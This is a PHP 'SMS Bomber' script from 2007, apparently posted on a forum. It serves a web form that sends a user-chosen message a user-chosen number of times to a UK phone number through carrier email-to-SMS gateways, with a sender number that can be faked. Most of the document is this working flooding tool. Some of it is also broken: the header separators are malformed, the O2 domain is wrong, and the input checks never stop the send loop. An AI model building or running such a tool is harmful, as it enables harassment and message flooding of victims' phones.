Код:
<?php //set array of UK Mobile Service Providers For later use $company = array(); $company["o2"] = "02.co.uk"; $company["t-mobile"] = "t-mobile.uk.net"; $company["virgin mobile"] = "vmobl.com"; $company["vodafone"] = "vodafone.net"; $company["orange"] = "orange.net"; //If Form hasn't been submitted, show it if(!$_POST){ echo "<form method=\"post\">"; echo "\n\t<table>"; echo "\n\t\t<tr>"; echo "\n\t\t\t<td colspan=\"2\"><h4>SMS Bomber By Jesus<br />Copyright © 2007</h4></td>"; echo "\n\t\t</tr>"; echo "\n\t\t<tr>"; echo "\n\t\t\t<td>Recipient Mobile Number</td>"; echo "\n\t\t\t<td><input type=\"text\" name=\"recipient\"></td>"; echo "\n\t\t</tr>"; echo "\n\t\t<tr>"; echo "\n\t\t\t<td>Your Mobile Number</td>"; echo "\n\t\t\t<td><input type=\"text\" name=\"sender\"></td>"; echo "\n\t\t</tr>"; echo "\n\t\t<tr>"; echo "\n\t\t\t<td>Recipient Mobile Service Provider</td>"; echo "\n\t\t\t<td>"; echo "\n\t\t\t\t<select name=\"msp\">"; echo "\n\t\t\t\t\t<option value=\"o2\">O2</option>"; echo "\n\t\t\t\t\t<option value=\"t-mobile\">T-Mobile</option>"; echo "\n\t\t\t\t\t<option value=\"virgin mobile\">Virgin Mobile</option>"; echo "\n\t\t\t\t\t<option value=\"vodafone\">Vodafone</option>"; echo "\n\t\t\t\t\t<option value=\"orange\">Orange</option>"; echo "\n\t\t\t\t</select>"; echo "\n\t\t\t</td>"; echo "\n\t\t</tr>"; echo "\n\t\t<tr>"; echo "\n\t\t\t<td># of Times To Send</td>"; echo "\n\t\t\t<td><input type=\"text\" name=\"times\"></td>"; echo "\n\t\t</tr>"; echo "\n\t\t<tr>"; echo "\n\t\t\t<td colspan=\"2\"><i>( Note: Script Will Only Work For UK Recipients )</td>"; echo "\n\t\t</tr>"; echo "\n\t\t<tr>"; echo "\n\t\t\t<td>Message</td>"; echo "\n\t\t\t<td><textarea name=\"message\">Your Message Here..</textarea></td>"; echo "\n\t\t</tr>"; echo "\n\t\t<tr>"; echo "\n\t\t\t<td><input type=\"submit\" value=\"Send SMS\"></td>"; echo "\n\t\t\t<td><input type=\"reset\" name=\"Reset All Fields\"></td>"; echo "\n\t\t</tr>"; echo "</form>"; }else{ #if it has, send the message //Define Variables from the form $sender = $_POST['sender']; $rec = $_POST['recipient']; $msp = $_POST['msp']; $n = $_POST['times']; $message = $_POST['message']; // make a non array'd variable with the user input and the previous array $com = $company[$msp] or die("Don't Edit My Form"); $i = 0; # set while() counter at 0 // Create headers for the sms $headers = 'MIME-Version: 1.0' . ">br /<"; $headers .= 'Content-Type: text/html; charset="iso-8859-1" ' . ">br /<"; $headers .= 'Content-Transfer-Encoding: 8bit' . ">br /<"; $headers .= "from: ".$sender; //Basic Subject, it won't be shown to the recipient so it doesn't really matter $subject = "SMS Message From ".$sender." to ".$rec; //Checks user input for errors if(!is_numeric($n)){ echo "Form Field: \"<i>Times</i>\" Required an INT input<br />"; } if(!is_numeric($sender)){ echo "Form Field: \"<i>sender</i>\" Required an INT input<br />"; } if(!is_numeric($rec)){ echo "Form Field: \"<i>recipient</i>\" Required an INT input<br />"; } // Send $n messages while($i < $n){ mail("$rec@$com", "$subject", $message, $headers); $i++; } } ?>